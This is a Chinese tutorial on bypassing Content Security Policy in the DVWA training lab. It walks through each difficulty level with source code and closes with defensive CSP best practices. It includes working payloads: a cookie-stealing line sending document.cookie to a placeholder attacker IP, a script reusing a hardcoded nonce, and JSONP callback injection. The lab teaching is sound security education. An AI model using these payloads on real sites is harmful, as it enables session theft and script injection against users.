DVWA从入门到精通(十四):CSP Bypass(内容安全策略绕过)
摘要:本文是《DVWA从入门到精通》系列的第十四篇,带你全面掌握CSP Bypass(内容安全策略绕过)模块的攻防全流程。从CSP的设计初衷与核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含白名单滥用的外部资源托管攻击、硬编码Nonce的绕过、unsafe-inline的危害、JSONP回调劫持等高阶技术,以及严格的Nonce策略、CSP配置最佳实践等企业级防御策略,让你真正做到“知其然更知其所以然”。
一、什么是CSP(内容安全策略)?
1.1 CSP的设计初衷
CSP(Content Security Policy,内容安全策略)是浏览器提供的一种安全防御机制,用于检测和缓解跨站脚本攻击(XSS)以及其他代码注入攻击。
用一个生活化的例子来理解:
想象你经营一家高档酒店。以前,你靠门口的保安(输入过滤)来辨别客人身份——客人进门时保安会检查他的证件(过滤特殊字符)。但总有人能伪造证件混进来。
有一天,你决定改变策略:你给所有真正的员工和合作伙伴每人发了一张特制的门禁卡,并且明确告诉保安——“只有持有这种门禁卡的人才能进入酒店,其他人一律不准进”。这就是CSP的思路。
CSP不再依赖“检查输入是不是坏的”,而是建立了一个白名单——只允许来自特定来源的资源被加载和执行。开发者通过配置告诉浏览器:“我只信任这些来源,其他的一律不要”。
从技术角度来看:
CSP是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由浏览器来负责强制执行。它的核心思想是白名单制度——开发者明确告诉客户端,哪些外部资源可以加载和执行。
CSP通过HTTP响应头或HTML的<meta>标签来传递策略规则。当浏览器接收到这些策略后,会只执行或渲染符合策略的资源,违反策略的行为会被阻止并报告。
1.2 常见的CSP指令
CSP通过一系列指令来定义安全策略:
| 指令 | 作用 | 示例 |
|---|---|---|
default-src | 默认允许加载的资源来源 | default-src 'self' |
script-src | 限制可执行脚本的来源 | script-src 'self' https://trusted.com |
style-src | 限制可应用的样式表的来源 | style-src cdn.example.org |
img-src | 限制可加载的图像的来源 | img-src 'self' data: |
connect-src | 限制可建立网络连接的来源 | connect-src api.example.com |
font-src | 限制可加载的字体文件的来源 | font-src 'self' |
frame-src | 限制可以嵌入页面的框架的来源 | frame-src 'none' |
report-uri | 指定将安全违规报告发送到的URL | report-uri /csp-report |
1.3 启用CSP的两种方法
方法一:通过HTTP响应头(最常用)
<?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?>方法二:通过HTML meta标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none';">1.4 什么是CSP Bypass?
CSP Bypass(内容安全策略绕过)是指攻击者通过各种技术手段,绕过CSP的限制,在受保护的网站上执行恶意JavaScript代码。
重要理解:CSP Bypass模块中展示的漏洞并不是CSP协议本身的漏洞,而是开发者在实现CSP时犯的错误。CSP本身是一个强大的安全机制,但配置不当或实现缺陷会让它形同虚设。
DVWA的CSP Bypass模块展示了三种常见的CSP配置缺陷:
| 级别 | CSP配置缺陷 | 绕过方法 |
|---|---|---|
| Low | 白名单过于宽泛,信任了太多外部域名 | 在受信任的网站上托管恶意脚本 |
| Medium | 使用了硬编码的Nonce +unsafe-inline | 利用静态Nonce注入内联脚本 |
| High | 仅允许'self',但存在JSONP接口 | 通过JSONP回调执行任意代码 |
二、准备工作
2.1 靶场环境
确保DVWA已部署并正常运行:
访问地址:
http://你的服务器IP/dvwa/login.php使用
admin/password登录
2.2 必备工具
| 工具 | 用途 |
|---|---|
| 浏览器(Chrome/Firefox) | 访问靶场,F12开发者工具查看Network面板中的CSP头 |
| Burp Suite | 抓包分析HTTP响应头中的CSP策略 |
| 文本分享网站 | Pastebin等,用于托管恶意脚本(Low级别) |
2.3 基础知识储备
了解XSS跨站脚本攻击的基本原理
理解HTTP响应头的概念
了解JSONP的基本原理(High级别)
三、Low级别:白名单过于宽泛的“信任危机”
3.1 安全级别设置
将DVWA Security设置为Low级别,然后进入CSP Bypass模块。
3.2 界面观察
CSP Bypass模块的界面包含一个输入框和一个“Include”按钮。页面上方提示:“You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here”(你可以包含来自外部源的脚本,检查内容安全策略,然后在此处输入要包含的URL)。
3.3 查看CSP策略
方法一:查看页面源码
点击“View Source”,可以看到PHP代码中定义的CSP策略:
方法二:使用浏览器开发者工具
按F12打开开发者工具,切换到Network标签,刷新页面,查看响应头中的Content-Security-Policy字段。
3.4 源码分析
查看Low级别的完整核心代码:
<?php $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;"; // allows js from various trusted locations header($headerCSP); # These might work if you can't create your own for some reason # https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js # https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " <script src='" . $_POST['include'] . "'></script> "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> <p> You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used. </p> ';Low级别的CSP策略分析:
| 策略项 | 含义 | 风险 |
|---|---|---|
'self' | 允许从当前域名加载脚本 | 安全 |
https://pastebin.com | 允许从pastebin.com加载脚本 | ⚠️高风险 |
hastebin.com | 允许从hastebin.com加载脚本 | ⚠️高风险 |
example.com | 允许从example.com加载脚本 | ⚠️高风险 |
code.jquery.com | 允许从jQuery CDN加载脚本 | 相对安全 |
https://ssl.google-analytics.com | 允许从Google Analytics加载脚本 | 相对安全 |
漏洞本质:
Low级别的漏洞在于CSP白名单中包含了用户可以自由上传内容的网站(如pastebin.com、hastebin.com)。这些网站允许任何人上传任意内容,包括恶意JavaScript代码。
当CSP信任了这些网站,攻击者只需要:
在pastebin.com上上传恶意JavaScript代码
获取该代码的原始链接(raw URL)
在DVWA的输入框中提交该链接
浏览器从pastebin.com加载并执行恶意代码——因为pastebin.com在CSP白名单中!
3.5 攻击方法:利用受信任的外部网站托管恶意脚本
第一步:在Pastebin上创建恶意脚本
访问https://pastebin.com(或白名单中的其他网站),创建一个新的Paste(文本片段),内容为:
alert("CSP Bypass - Low Level Success!");或者更实用的Payload——窃取Cookie:
var img = new Image(); img.src = 'http://攻击者IP:8000/steal?cookie=' + document.cookie;点击“Create New Paste”创建。
第二步:获取Raw链接
在Pastebin上,找到“Raw”按钮。完整的Raw链接通常格式为:
第三步:在DVWA中注入链接
回到DVWA的CSP Bypass(Low级别)页面,在输入框中粘贴Raw链接,点击“Include”提交。
第四步:观察结果
页面立即弹出弹窗,显示“CSP Bypass - Low Level Success!”——攻击成功!
注意:由于网址不太稳定,可能不会有弹窗的效果,所以可以通过本地进行测试,csp的规则中有self,所以可以加载本身的文件,所以我们可以在搭建靶场的这个服务器上创建一个js文件,输入:
alert("CSP Bypass - Low Level Success!");然后在输入框输入http://靶机IP/test.js,观察弹窗效果
3.6 攻击原理深度分析
从技术角度看,攻击成功涉及以下几个关键步骤:
策略解析:浏览器收到CSP头后,解析
script-src指令,建立允许加载脚本的来源列表链接提交:用户通过表单提交一个URL,该URL被拼接到
<script src='...'>标签中来源匹配:浏览器检查该URL的域名是否在CSP白名单中
脚本加载:域名匹配成功,浏览器从该URL加载并执行脚本
关键点:CSP只检查脚本的来源域名,而不检查脚本的内容。因此,只要恶意脚本托管在受信任的域名上,CSP就会允许它执行。
3.7 Low级别总结
| 缺陷 | 说明 |
|---|---|
| 白名单过于宽泛 | 包含了用户可以自由上传内容的网站 |
| 信任外部用户生成内容 | pastebin.com等网站不验证上传内容的合法性 |
| 无内容验证 | 只检查来源域名,不检查脚本内容 |
| 高危漏洞 | 攻击者可利用受信任网站托管并执行任意恶意脚本 |
四、Medium级别:硬编码Nonce的“虚假安全感”
4.1 安全级别设置
将DVWA Security切换为Medium级别。
4.2 观察变化
在Medium级别下,尝试Low级别的方法(在输入框中提交外部脚本链接),发现被阻止了——CSP策略发生了变化。
4.3 查看CSP策略
使用浏览器开发者工具查看Medium级别的CSP响应头:
4.4 源码分析
查看Medium级别的核心代码:
<?php $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; header($headerCSP); // Disable XSS protections so that inline alert boxes will work header ("X-XSS-Protection: 0"); # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> ';Medium级别的CSP策略分析:
| 策略项 | 含义 | 风险 |
|---|---|---|
'self' | 允许从当前域名加载脚本 | 安全 |
'unsafe-inline' | 允许内联脚本 | ⚠️高风险 |
'nonce-...' | 允许包含特定Nonce的内联脚本 | ⚠️Nonce是硬编码的 |
4.5 Nonce机制的原理
Nonce(Number used once,一次性数字)是CSP中用于允许特定内联脚本执行的机制。
正常的工作流程:
服务器生成一个随机的一次性值(Nonce)
服务器将这个Nonce放在CSP头中:
script-src 'nonce-RANDOM_VALUE'服务器在HTML中为内联脚本添加相同的Nonce属性:
<script nonce="RANDOM_VALUE">alert(1)</script>浏览器比对两者是否一致,一致则执行脚本
正确的Nonce应该是:
每次请求都不同(随机生成)
无法被攻击者预测
4.6 Medium级别的漏洞
Medium级别存在两个严重的配置错误:
错误一:Nonce是硬编码的
'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='这个Nonce值每次请求都相同!攻击者可以直接复制这个值,在自己的注入Payload中使用。
错误二:冗余保留unsafe-inline
CSP 策略中多余写入'unsafe-inline',按照现代浏览器 CSP 规范,存在 nonce 时浏览器会自动忽略该字段,不会放开裸内联脚本;该字段仅用于兼容老旧浏览器,属于不合理、多余的危险配置,增加老旧环境下的攻击面。
额外问题:禁用了X-XSS-Protection,移除了浏览器内置的XSS防护层。
4.7 攻击方法:利用硬编码 Nonce 实现 CSP 绕过
Payload 能否执行的核心关键是页面写死固定 Nonce。
第一步:构造注入Payload
页面存在输入框,可以直接注入:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="> alert("CSP Bypass - Medium Level via Nonce!"); </script>第二步:观察结果
弹窗出现——攻击成功!
页面 Nonce 值永久固定不变,攻击者可直接复制复用,携带匹配 nonce 属性的脚本能够通过 CSP 校验正常执行。
4.8 Medium级别总结
| 缺陷 | 说明 |
|---|---|
| Nonce 硬编码 | Nonce 值每次请求完全一致,攻击者可直接复制复用,是绕过 CSP 的根本原因 |
| 冗余配置 unsafe-inline | 存在 nonce 时现代浏览器自动忽略该配置,仅老旧浏览器会生效,扩大旧环境攻击面 |
| 禁用 X-XSS-Protection | 关闭浏览器自带 XSS 过滤,消除一层辅助安全防护 |
| 多重缺陷叠加 | 固定 Nonce 为核心突破口,搭配多余危险配置、浏览器防护关闭,整体 CSP 防御彻底失效 |
五、High级别:JSONP回调的“信任危机”
5.1 安全级别设置
将DVWA Security切换为High级别。
5.2 观察变化
在High级别下,CSP策略变得更加严格——只允许从'self'加载脚本。
5.3 查看CSP策略
使用浏览器开发者工具查看High级别的CSP响应头:
这是一个非常严格的CSP策略——只允许从当前域名加载脚本,不允许任何外部资源,也不允许内联脚本。
5.4 源码分析
查看High级别的核心代码:
// high.php <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/high.js"></script> '; // high.js function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s); } function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; } } var solve_button = document.getElementById ("solve"); if (solve_button) { solve_button.addEventListener("click", function() { clickButton(); }); }High级别的设计:
页面中的high.js会向jsonp.php发起一个请求,并传递一个callback参数:
/jsonp.php?callback=solveSumjsonp.php会使用callback参数的值来包裹返回的JSON数据。
5.5 JSONP的原理
JSONP(JSON with Padding)是一种绕过同源策略加载跨域数据的技术。
JSONP的正常工作流程:
页面需要从另一个域名获取数据
页面定义一个回调函数:
function handleData(data) { ... }页面创建一个
<script>标签,src指向API接口,并带上callback=handleData参数服务器返回:
handleData({"key": "value"})浏览器执行这段代码,调用
handleData函数
JSONP的安全风险:
如果服务器不对callback参数进行过滤,攻击者可以传入任意JavaScript代码作为回调函数名,服务器会将其原样返回并执行。
5.6 High级别的漏洞
High级别的漏洞在于:jsonp.php接口允许攻击者控制callback参数的值,并且服务器会原样返回这个值。
虽然CSP策略非常严格(只允许'self'),但jsonp.php是同源的(在同一个域名下),因此CSP允许加载和执行它返回的脚本。
攻击思路:
攻击者访问
jsonp.php接口,传入恶意代码作为callback参数服务器返回恶意代码
浏览器执行恶意代码——因为它来自同源,CSP允许!
5.7 攻击方法:JSONP回调劫持
第一步:准备工具
准备好Burp Suite或其他抓包工具,用于拦截和修改HTTP请求。
第二步:开启拦截
打开Burp Suite并开启拦截功能。
第三步:触发请求
在DVWA的CSP Bypass (High)页面,点击“Solve the sum”按钮。
第四步:修改参数
Burp Suite会拦截到发往jsonp.php的请求。在请求的URL中,找到callback参数,将其值修改为你想要执行的JavaScript代码。
基础测试:将
callback=solveSum修改为callback=alert('Hacked')。放行请求后,如果页面弹出Hacked的提示框,就说明漏洞存在。窃取Cookie:一个更具威胁性的攻击是窃取Cookie。你可以将
callback参数修改为:callback=alert(document.cookie),这样,页面就会弹出当前用户的Cookie信息。
第五步:验证结果
放行修改后的请求,观察浏览器是否执行了你注入的代码。
5.8 High级别总结
| 防御机制 | 作用 | 绕过方法 |
|---|---|---|
严格的CSP(仅'self') | 只允许同源脚本 | JSONP接口是同源的,CSP允许 |
| JSONP接口 | 跨域数据获取 | callback参数可控,可注入恶意代码 |
| 无参数过滤 | 不对callback进行验证 | 传入任意JavaScript代码作为回调 |
六、Impossible级别:终极防御方案
6.1 安全级别设置
将DVWA Security切换为Impossible级别。
6.2 源码分析
查看Impossible级别的核心代码:
//impossible.php <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/impossible.js"></script> ----------------------------------------------------------------------------------------- //impossible.js function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp_impossible.php"; document.body.appendChild(s); } function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; } } var solve_button = document.getElementById ("solve"); if (solve_button) { solve_button.addEventListener("click", function() { clickButton(); }); }6.3 Impossible级别的三重防御体系
Impossible级别构建了三重防御体系,彻底杜绝了CSP绕过:
第一层:严格的CSP策略
Content-Security-Policy: script-src 'self';只允许从当前域名加载脚本,不允许任何外部来源,也不允许内联脚本。
第二层:JSONP 接口硬编码固定回调(核心防御)
jsonp_impossible.php后端写死回调函数名为solveSum,完全不接收、不使用 URL 传入的 callback 参数,攻击者无法篡改回调函数,JSONP 劫持通路被封死。
第三层:注入无法形成有效利用
页面虽然存在 POST 参数include可控、可拼接 HTML 注入,但即便注入同源<script>标签,也只能加载站点内固定 JS,无法自定义回调执行恶意代码;不存在能执行恶意 JS 的利用链路。
6.4 为什么Impossible级别无法被绕过?
| 攻击方式 | Impossible 级别的防护 | 攻击者能否达成 |
|---|---|---|
| 外部第三方恶意脚本托管 | 严格 CSP script-src'self',拦截所有跨域 JS | ❌ 不允许外部域名加载脚本 |
| 内联脚本注入 XSS | CSP 无 unsafe-inline/nonce,禁止任何<script>内联、事件内联 JS | ❌ 内联脚本直接被浏览器拦截 |
| JSONP 回调劫持 | JSONP 接口硬编码 solveSum 回调,不受 GET 参数控制 | ❌ 无法篡改 callback 执行任意函数 |
| 同源脚本注入利用 | 虽存在用户输入渲染注入点,但全站无可控回调入口,注入后无法执行恶意逻辑 | ❌ 注入仅能加载固定可信 JS,无利用价值 |
三重防护叠加,使得CSP Bypass攻击在Impossible级别下完全不可行。
七、防御CSP Bypass的最佳实践
通过DVWA四个级别的对比,我们可以总结出正确配置CSP的最佳实践:
7.1 必须实施的防御措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 最小化白名单 | 只信任必要的外部来源,避免通配符和用户生成内容网站 | ⭐⭐⭐⭐⭐ |
| 使用Nonce(且每次随机生成) | Nonce必须每次请求动态生成,不可硬编码 | ⭐⭐⭐⭐⭐ |
避免unsafe-inline | 现代 CSP 规范中,若 script-src 同时配置动态随机 nonce,浏览器会自动忽略 unsafe-inline;仅无 nonce/hash 时,unsafe-inline 才会放开全部内联脚本。 | ⭐⭐⭐⭐⭐ |
避免unsafe-eval | 禁用eval()及相关函数 | ⭐⭐⭐⭐⭐ |
| 严格验证JSONP回调 | 对callback参数进行白名单验证,或直接硬编码 | ⭐⭐⭐⭐⭐ |
7.2 推荐的辅助措施
| 措施 | 说明 | 优先级 |
|---|---|---|
启用report-uri | 配置违规报告端点,监控CSP违规行为 | ⭐⭐⭐⭐ |
使用strict-dynamic | 信任已通过Nonce或Hash验证的脚本及其依赖 | ⭐⭐⭐⭐ |
| 分层部署 | 先以报告模式(Content-Security-Policy-Report-Only)部署,逐步收紧 | ⭐⭐⭐⭐ |
| 启用X-XSS-Protection | 保留浏览器内置XSS防护作为补充 | ⭐⭐⭐ |
7.3 常见误区
在实际开发中,以下做法不能有效防御CSP绕过:
❌白名单中包含用户生成内容网站:pastebin.com等网站允许任何人上传内容(如Low级别)
❌使用硬编码的Nonce:攻击者可以复制使用(如Medium级别)
❌允许
unsafe-inline:CSP 同时存在 nonce 与 unsafe-inline,现代浏览器会忽略 unsafe-inline,不会让 nonce 失效;Medium 可绕过的核心是 nonce 写死,而非 unsafe-inline 覆盖 nonce。❌JSONP回调参数未验证:攻击者可注入任意代码(如High级别)
❌禁用
X-XSS-Protection:移除了浏览器内置防护层(如Medium级别)
7.4 正确的CSP配置示例
推荐的生产环境CSP配置:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic'; style-src 'self' 'nonce-{RANDOM}'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; report-uri /csp-report;关键原则:
Nonce必须每次请求动态生成
不使用
unsafe-inline和unsafe-eval白名单尽可能小
启用违规报告
八、CSP与XSS的关系
8.1 CSP是XSS的“第二道防线”
CSP是防御XSS的重要补充手段,但不能替代输入过滤和输出编码。
| 防御层次 | 手段 | 作用 |
|---|---|---|
| 第一层 | 输入过滤 + 输出编码(htmlspecialchars()等) | 阻止XSS漏洞本身 |
| 第二层 | CSP(内容安全策略) | 即使存在XSS漏洞,也限制其危害 |
CSP的作用:
CSP虽然提供了强大的安全保护,但它也令eval()及相关函数被禁用、内嵌的JavaScript代码将不会执行。开发者需要花费大量时间分离内嵌的JavaScript代码并做相应调整。
8.2 CSP不能替代输入过滤
重要提醒:CSP是深度防御的一部分,而不是唯一的防御手段。
即使配置了完美的CSP,仍然需要:
对所有用户输入进行验证和过滤
对所有输出进行HTML实体编码
使用参数化查询防御SQL注入
CSP的价值在于:即使开发者在某个地方犯了错误(忘记转义某个输出),CSP可以作为“最后一道防线”限制攻击的影响。
九、CSP Bypass的实战检测思路
在实际的渗透测试中,如何发现CSP配置缺陷并尝试绕过?
9.1 检测步骤
检查CSP头:使用浏览器开发者工具查看Content-Security-Policy响应头
分析策略配置:
白名单包含哪些域名?是否有用户生成内容网站?(Low级别特征)
是否允许
unsafe-inline?Nonce是否硬编码?(Medium级别特征)是否存在JSONP接口?
callback参数是否可控?(High级别特征)
尝试绕过:根据CSP配置选择合适的绕过方法
验证漏洞:确认恶意代码是否成功执行
9.2 常见CSP绕过手法汇总
| CSP配置缺陷 | 绕过方法 | 对应级别 |
|---|---|---|
| 白名单包含用户生成内容网站 | 在受信任网站上托管恶意脚本 | Low |
硬编码Nonce +unsafe-inline | 无法直接裸内联脚本,仅携带页面固定 nonce 的脚本可执行 | Medium |
仅'self'+ 可控JSONP回调 | JSONP回调劫持 | High |
| 严格的CSP + 硬编码回调 + 无用户输入 | 无法绕过 | Impossible |
9.3 自动化工具
Google CSP Evaluator:在线评估CSP配置的安全性
CSP Bypass Labs:GitHub上的CSP绕过实验项目
十、总结
本文系统讲解并实战复现了 DVWA CSP Bypass 全级别漏洞原理与防御规范。本文首先理解了 CSP(内容安全策略)的核心机制,它是一套基于白名单的浏览器安全防护方案,通过严格管控脚本、样式、图片等资源的加载来源,限制恶意代码执行,作为 XSS 攻击的深度防御手段。随后学习了 default-src、script-src、style-src 等核心 CSP 指令,并逐级完成四个安全级别的漏洞分析与利用:Low 级别因 CSP 白名单信任 pastebin.com 等用户可控站点,攻击者可托管恶意外部脚本实现绕过执行;Medium 级别存在严重配置缺陷,页面 Nonce 值硬编码固定可被直接复用,同时冗余配置 unsafe-inline,在浏览器策略冲突叠加下导致 CSP 防护彻底失效;High 级别虽然启用了最严格的script-src 'self'策略,但由于同源 JSONP 接口的 callback 参数完全可控,攻击者可劫持回调函数实现代码执行,完成 CSP 绕过;Impossible 级别通过严格同源 CSP、JSONP 硬编码固定回调、阻断恶意利用链路三重防御,即便存在用户输入渲染点,也不存在可利用漏洞,真正实现无法绕过的安全防御。最后本文总结了 CSP Bypass 的通用防御最佳实践,包括最小化资源白名单、每次请求动态随机生成 Nonce、禁止 unsafe-inline/unsafe-eval、严格校验 JSONP 回调、开启违规日志上报等。CSP 是 XSS 防护的重要兜底机制,但绝非万能防御,错误或冗余的配置会让 CSP 完全失效。通过 DVWA 分级对比学习,我们掌握了 CSP 缺陷的检测思路与绕过方法,也明确了生产环境的安全配置标准。在实际业务中,采用「最小白名单 + 动态 Nonce + 严格 JSONP 校验 + 关闭危险指令」的组合方案,能够构建稳固、合规、可落地的 CSP 安全防线,有效抵御大部分次级 XSS 与 CSP 绕过攻击。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。